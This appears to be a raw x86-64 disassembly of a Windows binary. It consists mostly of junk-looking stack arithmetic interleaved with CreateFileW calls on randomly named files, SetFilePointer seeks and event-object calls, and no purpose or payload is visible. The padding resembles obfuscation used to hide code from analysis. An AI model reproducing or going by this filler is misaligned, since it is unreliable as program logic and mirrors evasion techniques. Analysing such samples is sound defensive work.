mov rcx, qword [rsp + 0x1408]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa10]
mov qword [rcx], rax
lea rax, [rsp + 0x290]
mov qword [0x1400fd278], rax
movsx eax, word [rsp + 0x1a0]
movsx ecx, word [0x1400fc3b8]
sar eax, cl
mov word [rsp + 0x78], ax
mov rax, qword [rsp + 0x648]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa98]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x374], ax
movzx eax, word [rsp + 0x84]
movzx ecx, word [rsp + 0x128]
add eax, ecx
mov word [rsp + 0x8c], ax
mov rax, qword [rsp + 0x838]
mov qword [rsp + 0x1c60], rax
mov eax, dword [rsp + 0x574]
mov ecx, dword [rsp + 0x7ac]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x570], eax
movsx eax, byte [rsp + 0xe6]
movsx ecx, byte [0x1400fd132]
and eax, ecx
mov rcx, qword [rsp + 0x10b0]
mov byte [rcx], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.MF7njHwCs_a4VCRI1zeF54j
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x2438], rax
movsx eax, word [rsp + 0x250]
movsx ecx, word [rsp + 0x398]
and eax, ecx
mov word [rsp + 0x448], ax
mov rax, qword [rsp + 0xa98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9e0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd4], ax
mov rax, qword [rsp + 0x9b0]
mov rcx, qword [rsp + 0x1e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [0x1400fd188], rax
lea rax, [rsp + 0x540]
mov qword [rsp + 0xa30], rax
mov rax, qword [rsp + 0x790]
mov rcx, qword [rsp + 0x748]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x3e0], rax
mov rcx, qword [rsp + 0x1728]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [0x1400fc388]
mov qword [rsp + 0x16f8], rax
movzx eax, word [rsp + 0x12c]
mov rcx, qword [rsp + 0x468]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x254], ax
mov rax, qword [rsp + 0x830]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x358]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xfa], al
lea rax, [rsp + 0xb4]
mov qword [rsp + 0xd40], rax
movsx eax, byte [rsp + 0xcc]
movsx ecx, byte [rsp + 0x9c]
sub eax, ecx
mov byte [rsp + 0x90], al
mov rax, qword [rsp + 0x960]
mov eax, dword [rax]
mov dword [rsp + 0x8e0], eax
mov rax, qword [rsp + 0x1800]
mov rcx, qword [rsp + 0xfc0]
add rcx, rax
mov rax, rcx
mov qword [0x1400fd148], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x40c3
mov rcx, qword [rsp + 0x1cb0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xbcc], eax
movsx eax, word [rsp + 0x1d0]
movsx ecx, word [rsp + 0x168]
sub eax, ecx
mov word [rsp + 0x7c], ax
movsx eax, word [rsp + 0x290]
mov rcx, qword [rsp + 0x3d0]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa28]
mov word [rcx], ax
mov rax, qword [rsp + 0x658]
movzx eax, word [rax]
mov word [rsp + 0x5b4], ax
mov rax, qword [rsp + 0xb38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9c0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb80], rax
mov rcx, qword [rsp + 0x1338]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.ygwmrCMoWhTAJpTwsrcHOapnehY
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1ce8], rax
movsx eax, byte [rsp + 0x68]
mov rcx, qword [rsp + 0x1bc8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xf6], al
mov rax, qword [rsp + 0xca8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x110c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x684], eax
mov rax, qword [rsp + 0xc68]
movzx ecx, al
mov rax, qword [rsp + 0x1418]
shl rax, cl
mov rcx, qword [rsp + 0x188]
mov qword [rcx], rax
mov rax, qword [rsp + 0x1240]
movzx eax, word [rax]
mov word [rsp + 0x304], ax
movzx eax, word [rsp + 0x150]
mov word [0x1400fd280], ax
mov rcx, qword [rsp + 0x1270]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x978]
mov rcx, qword [rsp + 0x9b8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x1020], rax
mov rax, qword [0x1400fd198]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1dc]
xor eax, ecx
mov word [rsp + 0x938], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x16b2
mov rcx, qword [rsp + 0x1cb8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x8ec], eax
mov rax, qword [rsp + 0x820]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x51]
imul eax, ecx
mov byte [rsp + 0x108], al
mov rax, qword [0x1400fd138]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xcf0]
sar eax, cl
mov dword [rsp + 0x10f0], eax
lea rax, [rsp + 0xbc]
mov qword [rsp + 0x17b8], rax
mov rax, qword [rsp + 0x1800]
mov rcx, qword [rsp + 0x1c60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7c0], rax
mov rax, qword [rsp + 0x12c0]
mov eax, dword [rax]
mov dword [rsp + 0xbd0], eax
mov rax, qword [rsp + 0xa78]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x770]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x174], ax
mov rax, qword [rsp + 0x468]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x658]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1400fc3e4], ax
mov rax, qword [rsp + 0x618]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x18c0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x1070], rax
mov rax, qword [rsp + 0x7c8]
mov rcx, qword [rsp + 0x9c0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x1038], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x16b0], rax
movsx eax, word [rsp + 0x71c]
mov rcx, qword [0x1400fd268]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xf0], ax
movzx eax, word [rsp + 0x418]
mov word [rsp + 0x3a4], ax
mov rax, qword [rsp + 0x1030]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x298]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x61], al
lea rax, [rsp + 0xa80]
mov qword [rsp + 0x11c0], rax
mov rax, qword [0x1400fd1f0]
mov ecx, dword [rsp + 0x9f4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xd28]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7c8]
mov rcx, qword [rsp + 0xd50]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xb40]
mov qword [rcx], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x8e6e
mov rcx, qword [rsp + 0x1cb0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x680], eax
movsx eax, word [rsp + 0x164]
movsx ecx, word [rsp + 0x98]
shl eax, cl
mov word [0x1400fc3b8], ax
mov rcx, qword [rsp + 0x7e8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x2a0]
movzx eax, word [rax]
mov word [rsp + 0x41c], ax
mov rax, qword [rsp + 0x358]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe7]
xor eax, ecx
mov rcx, qword [rsp + 0x2e8]
mov byte [rcx], al
mov rax, qword [rsp + 0xa38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9f0], eax
mov rax, qword [rsp + 0x1370]
movzx ecx, al
mov rax, qword [rsp + 0xc90]
sar rax, cl
mov rcx, qword [rsp + 0x320]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x11e]
mov rcx, qword [rsp + 0x7b0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x80], al
lea rax, [rsp + 0xa0]
mov qword [rsp + 0xd58], rax
mov rax, qword [rsp + 0xd18]
mov rcx, qword [rsp + 0x990]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xfc0], rax
mov rax, qword [rsp + 0x1240]
movzx eax, word [rax]
mov word [rsp + 0xae8], ax
lea rax, [0x1400fd1c8]
mov qword [0x1400fd288], rax
mov rax, qword [rsp + 0x16f8]
mov rcx, qword [rsp + 0xc90]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd30], rax
mov rax, qword [rsp + 0x468]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x650]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x424], ax
mov rax, qword [0x1400fd278]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3d0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x180]
mov word [rcx], ax
mov rax, qword [rsp + 0xd00]
mov rcx, qword [rsp + 0x790]
mov qword [rsp + 0x4578], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4578]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x780]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xe4]
mov byte [rsp + 0xf7], al
mov rax, qword [rsp + 0x11c8]
mov rax, qword [rax]
add rax, qword [rsp + 0x500]
mov rcx, qword [rsp + 0x470]
mov qword [rcx], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xbcb6
mov rcx, qword [rsp + 0x1048]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcc4], eax
lea rax, [rsp + 0x330]
mov qword [rsp + 0x1400], rax
mov rax, qword [rsp + 0x7d0]
movzx eax, word [rax]
movzx ecx, word [0x1400fd260]
sub eax, ecx
mov word [rsp + 0x42c], ax
mov rax, qword [rsp + 0x9b8]
mov rcx, qword [rsp + 0x1188]
and rcx, rax
mov rax, rcx
mov qword [0x1400fd188], rax
movzx eax, byte [rsp + 0x51]
movzx ecx, byte [rsp + 0x232]
or eax, ecx
mov rcx, qword [rsp + 0x820]
mov byte [rcx], al
mov rax, qword [0x1400fd138]
mov eax, dword [rax]
mov dword [rsp + 0x8d0], eax
mov rax, qword [rsp + 0x180]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x528]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x740]
mov word [rcx], ax
lea rax, [rsp + 0x114]
mov qword [rsp + 0xd10], rax
mov rax, qword [rsp + 0xd80]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1008]
mov qword [rsp + 0x4580], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4580]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x660], eax
mov rax, qword [rsp + 0x1800]
mov rcx, qword [rsp + 0x1780]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1a8], rax
lea rax, [rsp + 0x81]
mov qword [rsp + 0x1200], rax
mov rax, qword [rsp + 0x190]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x278]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x250], ax
mov rcx, qword [rsp + 0x1ff8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x690], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0xef35
mov rcx, qword [rsp + 0x1778]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x908], eax
mov rax, qword [rsp + 0xa60]
movzx eax, word [rax]
mov word [0x1400fd290], ax
lea rax, [rsp + 0x9b8]
mov qword [rsp + 0xb50], rax
mov rax, qword [rsp + 0x7d8]
mov rcx, qword [rsp + 0xb80]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xd48]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd00]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb70], rax
mov rax, qword [rsp + 0x740]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1240]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x494], ax
movsx eax, byte [rsp + 0xbc]
mov rcx, qword [rsp + 0x1bc8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x11a], al
mov rax, qword [rsp + 0xc98]
mov qword [rsp + 0x3130], rax
mov rax, qword [rsp + 0x1050]
mov ecx, dword [rsp + 0xa0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x63c], eax
lea rax, [rsp + 0xa4]
mov qword [rsp + 0x1948], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x24c0], rax
movzx eax, byte [rsp + 0xb0]
mov rcx, qword [rsp + 0xd20]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x108], al
mov rax, qword [rsp + 0xa28]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7c]
shl eax, cl
mov rcx, qword [0x1400fd1b8]
mov word [rcx], ax
movzx eax, word [rsp + 0x114]
mov rcx, qword [rsp + 0x2a8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x650]
mov word [rcx], ax
movzx eax, word [rsp + 0xec]
mov rcx, qword [rsp + 0xa8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1a4], ax
mov eax, 0x38
imul rax, rax, 3
mov dword [rsp + rax + 0x5b60], 0x4af8e151
mov rax, qword [rsp + 0x1718]
mov rcx, qword [rsp + 0x1700]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9b8], rax
mov rax, qword [rsp + 0xd28]
mov eax, dword [rax]
mov dword [rsp + 0x674], eax
mov rax, qword [rsp + 0x10b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x538]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x92], al
mov rax, qword [rsp + 0x1078]
mov rcx, qword [rsp + 0xf30]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x1780], rax
movzx eax, word [rsp + 0x7c]
mov word [rsp + 0x410], ax
movzx eax, word [rsp + 0x5b4]
movzx ecx, word [rsp + 0x220]
sar eax, cl
mov word [rsp + 0x1a4], ax
mov rax, qword [0x1400fd258]
mov qword [0x1400fd298], rax
mov rax, qword [rsp + 0x648]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7d0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x45c], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x4780
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x7a8], eax
mov rax, qword [rsp + 0x760]
mov rcx, qword [rsp + 0xb70]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x16c0], rax
mov rax, qword [rsp + 0x9b8]
mov rcx, qword [rsp + 0x2be8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7c8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x570]
mov dword [rsp + 0x9dc], eax
mov rcx, qword [rsp + 0x1c18]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1664], eax
movsx eax, byte [rsp + 0xf6]
movsx ecx, byte [rsp + 0x80]
and eax, ecx
mov rcx, qword [rsp + 0x1030]
mov byte [rcx], al
lea rax, [rsp + 0x8d0]
mov qword [rsp + 0x2320], rax
mov rax, qword [rsp + 0x668]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x131]
add eax, ecx
mov byte [rsp + 0xf5], al
mov rax, qword [rsp + 0x470]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x1c80]
shr rax, cl
mov rcx, qword [rsp + 0x768]
mov qword [rcx], rax
movsx eax, word [rsp + 0x71c]
movsx ecx, word [rsp + 0xae8]
or eax, ecx
mov word [0x1400fd210], ax
lea rax, [rsp + 0xae8]
mov qword [rsp + 0xd70], rax
movzx eax, word [rsp + 0x12c]
movzx ecx, word [rsp + 0x424]
xor eax, ecx
mov word [rsp + 0x8c], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.UdR0VyTXS5eKbu_nOZsP9s8m
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1bd8], rax
movzx eax, word [rsp + 0x40c]
movzx ecx, word [rsp + 0x144]
shl eax, cl
mov word [rsp + 0x308], ax
mov rax, qword [rsp + 0xd80]
mov ecx, dword [rsp + 0x514]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9dc], eax
mov rax, qword [rsp + 0x968]
movzx eax, byte [rax]
mov byte [rsp + 0x13a], al
mov rax, qword [rsp + 0x470]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x11c8]
add rax, qword [rcx]
mov qword [rsp + 0x1040], rax
movsx eax, word [rsp + 0x140]
mov rcx, qword [0x1400fd268]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x4b0], ax
mov rcx, qword [rsp + 0x1160]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [rsp + 0x160]
mov word [rsp + 0x420], ax
mov rax, qword [rsp + 0x200]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7c8]
mov qword [rsp + 0x4588], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4588]
mov rax, qword [rax]
sar rax, cl
mov qword [0x1400fc3e8], rax
mov rax, qword [rsp + 0x980]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xff0]
add rax, qword [rcx]
mov qword [rsp + 0xa18], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x5c31
mov rcx, qword [rsp + 0x16e0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x484], eax
mov rax, qword [rsp + 0x738]
mov rcx, qword [rsp + 0x1298]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x1808], rax
mov rax, qword [rsp + 0x780]
mov rcx, qword [rsp + 0x7c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xfe0], rax
mov rax, qword [rsp + 0xf38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x658]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xc88]
mov word [rcx], ax
lea rax, [rsp + 0xb4]
mov qword [rsp + 0xdc0], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x1b50], rax
mov rax, qword [rsp + 0x520]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x108]
and eax, ecx
mov byte [rsp + 0xcd], al
mov rax, qword [rsp + 0xd60]
mov eax, dword [rax]
mov dword [rsp + 0x9a4], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x1779
mov rcx, qword [rsp + 0xba8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x680], eax
mov rax, qword [rsp + 0x768]
mov rax, qword [rax]
add rax, qword [rsp + 0x10c0]
mov qword [rsp + 0x500], rax
movsx eax, byte [rsp + 0xf7]
movsx ecx, byte [rsp + 0xea]
xor eax, ecx
mov byte [str._aMl], al
movsx eax, word [rsp + 0x174]
movsx ecx, word [rsp + 0x164]
shl eax, cl
mov word [rsp + 0x414], ax
lea rax, [rsp + 0x98]
mov qword [rsp + 0xc80], rax
movzx eax, word [rsp + 0x128]
mov rcx, qword [0x1400fd198]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x198], ax
mov rcx, qword [rsp + 0x7e8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1684], eax
mov rax, qword [rsp + 0x2830]
movzx ecx, al
mov rax, qword [rsp + 0x16c0]
sar rax, cl
mov qword [rsp + 0x1790], rax
mov rax, qword [rsp + 0x1050]
mov ecx, dword [rsp + 0x79c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8e0], eax
mov rax, qword [rsp + 0x768]
mov rax, qword [rax]
mov qword [rsp + 0x1448], rax
mov rax, qword [rsp + 0x968]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1030]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x100]
mov byte [rcx], al
movsx eax, word [rsp + 0x78]
movsx ecx, word [rsp + 0x258]
sub eax, ecx
mov rcx, qword [rsp + 0xa58]
mov word [rcx], ax
movzx eax, word [rsp + 0x14c]
mov rcx, qword [rsp + 0x2a0]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1400fc3e4], ax
mov rax, qword [rsp + 0xd00]
mov rcx, qword [rsp + 0xfb8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc78], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.Uc8qyTkVzu8vB46bE3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x2a30], rax
mov rax, qword [rsp + 0x658]
movzx eax, word [rax]
mov rcx, qword [0x1400fd160]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x318], ax
mov rax, qword [rsp + 0x820]
movzx eax, byte [rax]
mov byte [rsp + 0x15a], al
mov eax, dword [rsp + 0x47c]
mov ecx, dword [rsp + 0xb4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9fc], eax
mov eax, dword [rsp + 0xc8]
mov ecx, dword [rsp + 0x570]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x568], eax
mov rax, qword [rsp + 0x7b0]
movzx eax, byte [rax]
mov byte [rsp + 0x236], al
mov rax, qword [rsp + 0xd90]
mov rcx, qword [rsp + 0x3d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x1448], rax
mov rcx, qword [rsp + 0x1f98]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x67c], eax
mov rax, qword [rsp + 0xc80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x258]
shl eax, cl
mov word [rsp + 0x364], ax
lea rax, [rsp + 0x8c]
mov qword [0x1400fd2a0], rax
mov rax, qword [rsp + 0x18c0]
mov rcx, qword [rsp + 0x11d0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xa18], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x6aca
mov rcx, qword [rsp + 0x1028]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xe18], eax
mov rax, qword [rsp + 0xb38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7c8]
mov qword [rsp + 0x4590], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4590]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x1f0], rax
movzx eax, word [rsp + 0x1d8]
mov word [rsp + 0x218], ax
movzx eax, word [rsp + 0x198]
mov rcx, qword [rsp + 0x648]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x11e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x628]
mov rax, qword [rax]
mov rcx, qword [0x1400fc390]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1920], rax
mov rax, qword [rsp + 0x1400]
mov rcx, qword [rsp + 0x960]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xd8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x11a]
mov rcx, qword [rsp + 0xfd8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x1030]
mov byte [rcx], al
lea rax, [rsp + 0x16c8]
mov qword [rsp + 0x16e8], rax
mov rax, qword [rsp + 0x958]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d4]
sar eax, cl
mov word [0x1400fd140], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x1b90], rax
movzx eax, word [rsp + 0x1cc]
mov rcx, qword [rsp + 0xa50]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x88], ax
mov rax, qword [rsp + 0x668]
movzx eax, byte [rax]
mov byte [rsp + 0x159], al
mov rax, qword [rsp + 0xd40]
mov eax, dword [rax]
cdq
mov ecx, 0x6c7789fe
idiv ecx
mov rcx, qword [rsp + 0x948]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb40]
mov rax, qword [rax]
mov qword [rsp + 0x2358], rax
mov rax, qword [rsp + 0x988]
mov ecx, dword [rsp + 0x510]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xe20], eax
mov rax, qword [rsp + 0x3d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1040]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd90]
mov qword [rcx], rax
movsx eax, byte [0x1400fd132]
mov rcx, qword [rsp + 0x1200]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x2e0], al
mov rax, qword [rsp + 0xc80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x280]
xor eax, ecx
mov word [rsp + 0x250], ax
lea rax, [rsp + 0x5c]
mov qword [0x1400fd2a8], rax
mov rax, qword [rsp + 0x760]
mov qword [rsp + 0x1d60], rax
mov rax, qword [rsp + 0x7d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x288]
shl eax, cl
mov word [rsp + 0x6c], ax
mov rax, qword [rsp + 0x2f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xda0]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x7e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x1c30]
mov rcx, qword [rsp + 0x1750]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x14a0], rax
mov rax, qword [rsp + 0x2898]
mov rcx, qword [rsp + 0x7c0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa68]
mov qword [rcx], rax
lea rax, [rsp + 0x56c]
mov qword [rsp + 0x11f0], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x1c85
mov rcx, qword [rsp + 0x1d08]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x8fc], eax
mov rax, qword [rsp + 0xf40]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x100]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x74], al
mov rcx, qword [rsp + 0x1098]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xf38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd10]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x214], ax
lea rax, [0x1400fd258]
mov qword [0x1400fd2b0], rax
mov rax, qword [rsp + 0x830]
movzx eax, byte [rax]
mov byte [rsp + 0x57e], al
mov rax, qword [rsp + 0xdc0]
mov rcx, qword [rsp + 0xd40]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x1278]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa58]
movzx eax, word [rax]
mov word [rsp + 0x21c], ax
movzx eax, word [rsp + 0x150]
mov rcx, qword [rsp + 0xb60]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x70], ax
lea rax, [rsp + 0xbc]
mov qword [rsp + 0x1410], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x7839
mov rcx, qword [rsp + 0x1cf8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x9e8], eax
mov eax, dword [rsp + 0x56c]
mov rcx, qword [rsp + 0x1150]
mov qword [rsp + 0x4598], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4598]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x634], eax
mov rax, qword [rsp + 0x11c8]
mov rcx, qword [rsp + 0x470]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x1040], rax
mov rax, qword [rsp + 0x740]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xda0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x350], ax
movzx eax, word [rsp + 0x198]
movzx ecx, word [rsp + 0x3a4]
and eax, ecx
mov word [0x1400fd1c8], ax
mov rax, qword [rsp + 0xd00]
